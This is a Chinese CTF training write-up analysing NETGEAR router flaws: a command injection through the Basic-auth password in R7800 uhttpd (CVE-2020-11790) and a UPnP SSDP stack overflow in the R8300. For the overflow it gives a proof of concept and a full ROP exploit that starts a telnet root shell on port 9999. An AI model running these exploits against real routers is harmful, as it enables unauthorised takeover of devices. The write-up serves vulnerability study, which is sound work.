2022CTF培训(十二)IOT 相关 CVE 漏洞分析

news2025/1/16 1:37:18

附件下载链接

NETGEAR R7800(CVE-2020-11790)

NETGEAR R7800 存在命令注入漏洞,下面以 V1.0.2.62 版本固件为例进行介绍。

固件仿真

漏洞存在于 uhttpd 中,由于该功能比较独立,可以直接用 qemu user mode 仿真。
/www/cgi-bin/uhttpd.sh 中记录了 uhttpd 的启动参数:

#!/bin/sh

REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"


uhttpd_stop()
{
        kill -9 $(pidof uhttpd)
}

uhttpd_start()
{
        $UHTTPD_BIN -h /www -r ${REALM}  -x /cgi-bin -t 80 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}

case "$1" in
        stop)
                uhttpd_stop
        ;;
        start)
                uhttpd_start
        ;;
        restart)
                uhttpd_stop
                uhttpd_start
        ;;
        *)
                logger -- "usage: $0 start|stop|restart"
        ;;
esac

另外在 uhttpd 有参数的相关说明:
在这里插入图片描述
因此可以使用如下命令启动 httpd ,其中 -f 参数是为了能够在命令窗口看到程序的输出。

$ cp `which qemu-arm-static` .
$ sudo chroot . ./qemu-arm-static --strace ./usr/sbin/uhttpd -h /www -r R7800 -f -x /cgi-bin -t 80 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443

访问如下网址弹出登录框说明仿真成功。
在这里插入图片描述

漏洞分析

漏洞位于 uh_cgi_auth_check 函数,该函数主要内容如下:

int __fastcall uh_cgi_auth_check(int a1, int a2, int a3)
{
  ...
  v10 = a2;
  while ( 1 )
  {
    v11 = *(const char **)(v10 + 16);
    if ( !v11 )
      goto LABEL_10;
    if ( !strcasecmp(v11, "Authorization") )
    {
      v12 = *(const char **)(v10 + 20);
      if ( strlen(v12) > 6 && !strncasecmp(v12, "Basic ", 6u) )
        break;
    }
    ...
  }
  memset(s, 0, sizeof(s));
  v23 = strlen(v12);
  uh_b64decode(s, 4095, v12 + 6, v23 - 6);
  v24 = strchr(s, ':');
  ...
  v13 = v24 + 1;
  if ( v24 != (char *)-1 )
  {
    snprintf(v27, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v13);
    system(v27);
    v3 = cat_file(73205);
  }
  ...
}

通过调试发现 v13 实际上是用户输入的密码,因此存在命令注入漏洞。

漏洞验证

在 system 函数调用处下断点然后输入 ;echo sky123 > sky123; 密码登录,system 传入参数如下:
在这里插入图片描述
继续运行命令被成功执行:
在这里插入图片描述

NETGEAR R8300(UPnP栈溢出漏洞)

之前提到过 R8300 的 V1.0.2.130 版本存在 UPnP 栈溢出漏洞,该漏洞在后续版本中被修复,但是 UPnP 模块中还存在其它栈溢出漏洞。这里以 V1.0.2.136 为例进行分析。
sub_25B88 函数逻辑如下:

int __fastcall sub_25B88(const char *a1, int a2, int a3)
{
  ...
  char v39[1500]; // [sp+24h] [bp-Ch] BYREF
  ...
  memset(v39, 0, sizeof(v39));
  v42 = ' ';

  v41 = v39;
  strncpy(v39, a1, 1499u);
  v7 = (const char *)sub_B60C(&v41, &v42);
  v8 = v7;
  if ( !v7 )
  {
LABEL_13:
    sub_B814(2, "%s(%d):Http message error\n", "ssdp_http_method_check", 231);
    return -7;
  }
  if ( !strstr(v7, "M-SEARCH") )
  {
    if ( stristr(v8, "NOTIFY") )
      return 0;
    goto LABEL_13;
  }
  v9 = (const char *)sub_B60C(&v41, &v42);
  if ( v9 && !strchr(v9, 42) )
  {
    sub_B814("%s(%d):Parsing error missing * \r\n", "ssdp_http_method_check", 214);
    return -7;
  }
  v10 = sub_B60C(&v41, &v42);
  if ( v10 && !stristr(v10, "HTTP/1.1") )
  {
    sub_B814(2, "%s(%d):Parsing error missing HTTP/1.1\n", "ssdp_http_method_check", 219);
    return -7;
  }
  memset(s, 0, 37);
  sub_B814(3, "%s(%d):\n", "ssdp_discovery_msearch", 1007);
  if ( stristr(a1, "NOTIFY") )
    return -7;
  v11 = stristr(a1, "MAN:");
  if ( !v11 )
    return -7;
  if ( !stristr(v11, "\"ssdp:discover\"") )
    return -7;
  v12 = sub_248F8((int)a1);
  ...
}

可以看到之前的栈溢出已经修复,但是只要通过前面一些列的验证会调用 sub_248F8 函数。
sub_248F8 函数中 strncpy 中的长度参数可以通过 MX:\r\n 之间字符串长度控制,如果构造出过长的字符串就会造成栈溢出。

int __fastcall sub_248F8(int a1)
{
  ...
  memset(v6, 0, 128);
  v2 = stristr(a1, "MX:");
  v3 = v2;
  if ( v2 )
  {
    v4 = stristr(v2, "\r\n");
    if ( v4 )
    {
      if ( v4 <= v3 + 3 )
      {
        sub_B814(2, "No MX error1 !!\n");
      }
      else
      {
        strncpy((char *)v6, (const char *)(v3 + 3), v4 - (v3 + 3));
        ...
      }
    }
    ...
  }
  ...
  return v1;
}

通过调试分析得到如下 POC :

from pwn import *

p = remote("192.168.2.2", 1900, typ='udp')

payload = 'M-SEARCH * HTTP/1.1\r\nHOST:1.2.3.4:1234\r\nMAN: \"ssdp:discover\"\r\nMX:'
payload += 'a' * 0x80
payload += p32(0xaaaaaaaa)  # R4
payload += p32(0xbbbbbbbb)  # R5
payload += p32(0xcccccccc)  # R6
payload += p32(0xdddddddd)  # PC
payload += '\r\n'

p.send(payload)

运行 POC 成功控制返回地址和部分寄存器:
在这里插入图片描述
在漏洞利用的时候需要注意 stristr 和 strncpy 均存在 \x00 截断。

由于利用思路与之前的类似,因此这里直接贴 exp 了。

from pwn import *

p = remote("192.168.2.2", 1900, typ='udp')
cmd_addr = ELF('upnpd').bss() + 0x300

payload = 'M-SEARCH * HTTP/1.1\r\nHOST:1.2.3.4:1234\r\nMAN: \"ssdp:discover\"\r\nMX:'
payload += 'a' * 0x80
payload += p32(0xaaaaaaaa)  # R4
payload += p32(0xbbbbbbbb)  # R5
payload += p32(0xcccccccc)  # R6
payload += '\x34\x33\x01\r\n'  # PC

"""
.text:00013334 ADD             SP, SP, #0x800
.text:00013338 POP             {R4-R6,PC}
"""
payload = payload.ljust(0x164, 'a')
payload += p32(cmd_addr)  # R4
payload += "bbbb"  # R5
payload += "cccc"  # R6
payload += p32(0x00013650)  # PC

"""
.text:00013644 MOV             R0, R10                 ; dest
.text:00013648 MOV             R1, R5                  ; src
.text:0001364C BL              strcpy
.text:0001364C
.text:00013650 MOV             R0, R4
.text:00013654 ADD             SP, SP, #0x5C ; '\'
.text:00013658 POP             {R4-R8,R10,PC}
"""

def strncpy(dst, src, len):
    rop = 'a' * 0x5C
    rop += p32(dst + len)  # R4
    rop += p32(src)  # R5
    rop += p32(0x66666666) * 4  # R6 R7 R8 R10
    rop += p32(0x00013648)  # PC strcpy
    return rop

# "telnetd -l /bin/sh -p 9999&"
payload += strncpy(cmd_addr, 0x0000A07B, 3)  # "tel"
payload += strncpy(cmd_addr + 3, 0x00009893, 3)  # "net"
payload += strncpy(cmd_addr + 6, 0x00040988, 2)  # "d "
payload += strncpy(cmd_addr + 8, 0x00046C52, 2)  # "-l"
payload += strncpy(cmd_addr + 10, 0x0003EF25, 1)  # " "
payload += strncpy(cmd_addr + 11, 0x000409D0, 5)  # "/bin/"
payload += strncpy(cmd_addr + 16, 0x00009CBC, 2)  # "sh"
payload += strncpy(cmd_addr + 18, 0x000416BE, 2)  # " -"
payload += strncpy(cmd_addr + 20, 0x00040B29, 2)  # "p "
payload += strncpy(cmd_addr + 22, 0x0003FCA8, 2)  # "99"
payload += strncpy(cmd_addr + 24, 0x0003FCA8, 2)  # "99"
payload += strncpy(cmd_addr + 26, 0x00049C25, 2)  # " &"
payload += strncpy(cmd_addr + 28, 0x00045DD1, 1)  # " "
payload += 'a' * 0x5C
payload += p32(cmd_addr)
payload += p32(0x66666666) * 5  # R5 R6 R7 R8 R10
payload += p32(0x0001A83C)  # PC

"""
.text:0001A83C MOV             R0, R4                  ; command
.text:0001A840 BL              system
"""
p.send(payload)

运行 exp 成功执行命令:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/156066.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

在 anaconda 中安装 tensorflow models (gpu)

环境&#xff1a;Windows; Intel CPU Nvidia GPU 1. 创建环境 不推荐单次安装过多的库&#xff0c;可能导致安装失败&#xff08;如超出终端缓存等&#xff09;注意添加库的顺序 tensorflow-gpu 需要在 cudatoolkit 之前否则下载的 tensorflow-gpu 不支持 gpu 「实测」 TODO…

设备注册挂载流程(包含上电、使能、i2c通讯介绍)

目录 简介 上电时序 电压不同 时序不同 使能与复位 CLK时钟 I2C通讯 主从关系 识别设备 通讯格式 简介 任何相对于主板芯片的外挂设备都需要一定的注册挂载流程 &#xff08;外挂设备&#xff1a;比如摄像头、nfc芯片、显示屏等等&#xff09; 设备的挂载则需要满足…

JAVAEE-多线程(4)

目录 定时器 实现自己的Timer 线程池 常见的锁策略&#xff1a; 乐观锁和悲观锁 读写锁和普通互斥锁 重量级锁和轻量锁 自旋锁和挂起等待锁 公平锁和非公平锁 可重入锁和不可重入锁 synchronized CAS CAS和ABA问题 锁粗化 JUC 原子类 Semaphore CountDownLatc…

CAN总线控制器MCP2515 替代芯片 DP2515 DP2515-I/ST

汽车K总线与CAN的区别是什么 1、功能不同   K线一般用于检测系统&#xff0c;属单线模式&#xff0c;与诊断仪器连接并相互传递数据。CAN线主要用于控制单元与控制单元之间传递数据、属双线模式&#xff0c;分高位线和地位线。   2、通讯速度不同   K线通讯速率较低&…

101.对称二叉树 | 递归 + 迭代

对称二叉树 leetcode : https://leetcode.cn/problems/symmetric-tree/ 参考 对称二叉树 递归思路 首先在开始时, 一定要注意, 对称二叉树对比的并不是一个节点的左右子树, 而是两棵树, 这个很关键! 对比时是内侧和内侧对比, 外侧和外侧对比, 递归三步 : 确定递归的参数以…

1.1.2 了解JAVA语言

文章目录1 JAVA语言发展史2 面向对象的概念3 跨平台性4 JDK1 JAVA语言发展史 JAVA是由詹姆斯•高斯林&#xff08;James Gosling&#xff09;所创建的&#xff0c;其1977年获得了加拿大卡尔加里大学计算机科学学士学位&#xff0c;1983年 获得了美国卡内基梅隆大学计算机科学博…

4)Mybatis数据源以及事务实现

1. Mybatis数据源分为两种&#xff0c;一种直接连接数据库&#xff0c;一种使用连接池连接数据库&#xff0c;具体代码实现在包目录下 org.apache.ibatis.datasource 数据源接口&#xff1a; javax.sql.DataSource 池化数据源&#xff1a; org.apache.ibatis.datasource.…

OpenGL集锦(1)-安装与概述

目录概述&#xff46;&#xff45;&#xff44;&#xff4f;&#xff52;&#xff41;下安装编写OpenGL应用程序测试hello,world概述 OpenGL&#xff08;英语&#xff1a;Open Graphics Library&#xff0c;译名&#xff1a;开放图形库或者“开放式图形库”&#xff09;是用于…

Lichee_RV学习系列--CoreMark-Pro移植

Lichee_RV学习系列文章目录 Lichee_RV学习系列—认识Lichee Rv Dock、环境搭建和编译第一个程序 Lichee_RV学习系列—移植dhrystone 文章目录Lichee_RV学习系列文章目录一、CoreMark-Pro简介二、获取源码三、编译coremark-pro1、配置coremark-pro2、编译coremark-pro四、开发板…

各种树的总结

1.B树和B树 数据库的大量数据用什么存储&#xff1f;为什么是B树和B树&#xff1f;使用二叉树不行吗&#xff1f;先来说说他们的演变吧&#xff0c;首先如果用二叉树的话都为排好序的树查询起来是不是效率不高&#xff1f;所以此时我们提出了对树排序&#xff0c;就变成了二叉…

联想拯救者屏幕亮度无法调节,监视器和显卡驱动问题,经过多种测试

主要的问题位置 1&#xff0c;设备管理器中的监视器部分 2&#xff0c;设备管理器的显卡适配器部分 个人电脑出现这种情况的原因 自己拆一下机器加装固态&#xff0c;但这种感觉不应该导致问题。但导致这种问题的原因可能是装固态时候把电池拔了。 一些网上常说的方法 更新…

数字化转型对企业有什么意义?有哪些案例可以分享?

如何看待制造企业数字化转型&#xff1f;制造业企业数字化转型有哪些思路和案例&#xff1f; 一提到制造企业数字化转型&#xff0c;大多数人都认为&#xff0c;这是专属于大型制造企业的行为。其实不然&#xff0c;对于中小型制造企业&#xff0c;数字化转型也应该从易到难&a…

interview

1.PyTorch1.1 Conv2d1.2 dataset&#xff0c;dataloader1.3 训练pipeline1.4 梯度归零1.5 torch保存模型种类及区别2.目标检测2.1 yolo3,4,5,7区别2.2 yolo使用的loss(ciou,BCE等等)ciouBCElossL1,L2,CE,BCE2.3 图像增强2.4 IOU计算公式3.深度学习基础3.1 卷积公式4.TensorRT5.…

Niantic:未来AR重要场景,VPS众包3D地图到底是啥?

几个世纪以来&#xff0c;人们使用指南针、地图、星盘和象限仪来找路&#xff0c;而在过去二十年里&#xff0c;GPS成为了主流的定位系统&#xff0c;并且与手机结合后&#xff0c;让人们的出行越来越方便。而随着摄像头等技术发展&#xff0c;我们也开始看到视觉定位技术的崛起…

(almalinux,rockylinux,openeuler,openanolis,centos,ubuntu)云原生容器镜像漏洞trivy扫描对比

一、下载并安装trivy漏洞扫描工具 下载&#xff1a; https://github.com/aquasecurity/trivy/releases/download/v0.31.3/trivy_0.31.3_Linux-64bit.rpm 以下为centos平台的安装&#xff1a; [rootlocalhost ~]# rpm -ivh trivy_0.31.3_Linux-64bit.rpm Preparing... …

【算法刷题 DAY03】剑指offer树相关算法题总结2

JZ7 重建二叉树 描述 给定节点数为 n 的二叉树的前序遍历和中序遍历结果&#xff0c;请重建出该二叉树并返回它的头结点。 例如输入前序遍历序列{1,2,4,7,3,5,6,8}和中序遍历序列{4,7,2,1,5,3,8,6}&#xff0c;则重建出如下图所示。 提示: 1.vin.length pre.length 2.pre 和…

CSS入门二、美化页面元素

零、文章目录 文章地址 个人博客-CSDN地址&#xff1a;https://blog.csdn.net/liyou123456789个人博客-GiteePages&#xff1a;https://bluecusliyou.gitee.io/techlearn 代码仓库地址 Gitee&#xff1a;https://gitee.com/bluecusliyou/TechLearnGithub&#xff1a;https:…

【高速数字化仪应用案例系列】虹科数字化仪在光纤领域的应用

光纤应用 光纤越来越多地应用于各种领域。它们能够以光速长距离传输信息&#xff0c;并且损耗低&#xff0c;这使它们成为大容量远程数据通信的主要媒介。因此&#xff0c;光纤网络可以在电信系统中找到&#xff0c;它们用于传输和接收的目的。它们还用于提供各种数字服务&…

Docker命令-常用命令讲解

Docker常用命令 一&#xff1a;帮助命令二&#xff1a;镜像命令1. docker images 查看所有本地的主机上的镜像2. docker search 镜像名3. docker pull 下载镜像4. docker rmi三&#xff1a;容器命令1.docker run 新建容器并启动2.从容器返回到主机&#xff1a;3.docker ps 列出…

收银软件哪家强?2023年收银软件排行榜新鲜出炉!

每家实体店都少不了收银的程序&#xff0c;每个实体店老板都离不开收银的工具。随着信息技术的发展&#xff0c;收银的工具不再只有收银机&#xff0c;更高效、更方便的收银软件&#xff0c;已经成为了零售店老板们的新宠。收银机和收银软件有什么区别&#xff1f;收银机只能对…